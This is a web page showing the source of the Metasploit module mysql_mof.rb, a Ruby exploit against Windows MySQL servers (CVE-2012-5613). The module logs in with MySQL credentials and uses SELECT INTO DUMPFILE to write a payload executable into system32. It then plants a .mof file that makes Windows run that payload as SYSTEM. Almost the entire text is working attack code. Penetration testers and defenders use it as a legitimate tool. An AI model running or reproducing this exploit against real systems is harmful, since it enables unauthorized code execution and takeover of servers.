Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/mysql/mysql_mof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::WbemExec10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::OptionalSession::MySQL1314def initialize(info = {})15super(update_info(info,16'Name' => 'Oracle MySQL for Microsoft Windows MOF Execution',17'Description' => %q{18This module takes advantage of a file privilege misconfiguration problem19specifically against Windows MySQL servers (due to the use of a .mof file).20This may result in arbitrary code execution under the context of SYSTEM.21This module requires a valid MySQL account on the target machine.22},23'Author' =>24[25'kingcope',26'sinn3r'27],28'License' => MSF_LICENSE,29'References' =>30[31['CVE', '2012-5613'], #DISPUTED32['OSVDB', '88118'],33['EDB', '23083'],34['URL', 'https://seclists.org/fulldisclosure/2012/Dec/13']35],36'Platform' => 'win',37'Targets' =>38[39[ 'MySQL on Windows prior to Vista', { } ]40],41'DefaultTarget' => 0,42'DisclosureDate' => '2012-12-01'43))4445register_options(46[47OptString.new('USERNAME', [ true, 'The username to authenticate as']),48OptString.new('PASSWORD', [ true, 'The password to authenticate with'])49])50end5152def check53m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])54return Exploit::CheckCode::Safe if not m5556return Exploit::CheckCode::Appears if is_windows?57return Exploit::CheckCode::Safe58end5960def query(q)61rows = []6263begin64res = mysql_query(q)65return rows if not res66res.each_hash do |row|67rows << row68end69rescue ::Rex::Proto::MySQL::Client::ParseError70return rows71end7273return rows74end7576def is_windows?77r = query("SELECT @@version_compile_os;")78return (r[0]['@@version_compile_os'] =~ /^Win/) ? true : false79end8081def get_drive_letter82r = query("SELECT @@tmpdir;")83drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''84return drive85end8687def upload_file(bin, dest)88p = bin.unpack("H*")[0]89query("SELECT 0x#{p} into DUMPFILE '#{dest}'")90end9192def exploit93print_status("Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")94begin95# If we have a session make use of it96if session97print_status("Using existing session #{session.sid}")98self.mysql_conn = session.client99else100# otherwise fallback to attempting to login101m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])102return unless m103end104rescue ::Rex::Proto::MySQL::Client::AccessDeniedError105print_error("Access denied.")106return107end108109if not is_windows?110print_error("Remote host isn't Windows.")111return112end113114drive = get_drive_letter115exe_name = Rex::Text::rand_text_alpha(5) + ".exe"116dest = "#{drive}:/windows/system32/#{exe_name}"117exe = generate_payload_exe118print_status("Uploading to '#{dest}'")119begin120upload_file(exe, dest)121register_file_for_cleanup("#{exe_name}")122rescue ::Rex::Proto::MySQL::Client::AccessDeniedError123print_error("No permission to write. I blame kc :-)")124return125end126127mof_name = Rex::Text::rand_text_alpha(5) + ".mof"128dest = "#{drive}:/windows/system32/wbem/mof/#{mof_name}"129mof = generate_mof(mof_name, exe_name)130print_status("Uploading to '#{dest}'")131begin132upload_file(mof, dest)133register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")134rescue ::Rex::Proto::MySQL::Client::AccessDeniedError135print_error("No permission to write. Bail!")136return137end138end139end140141142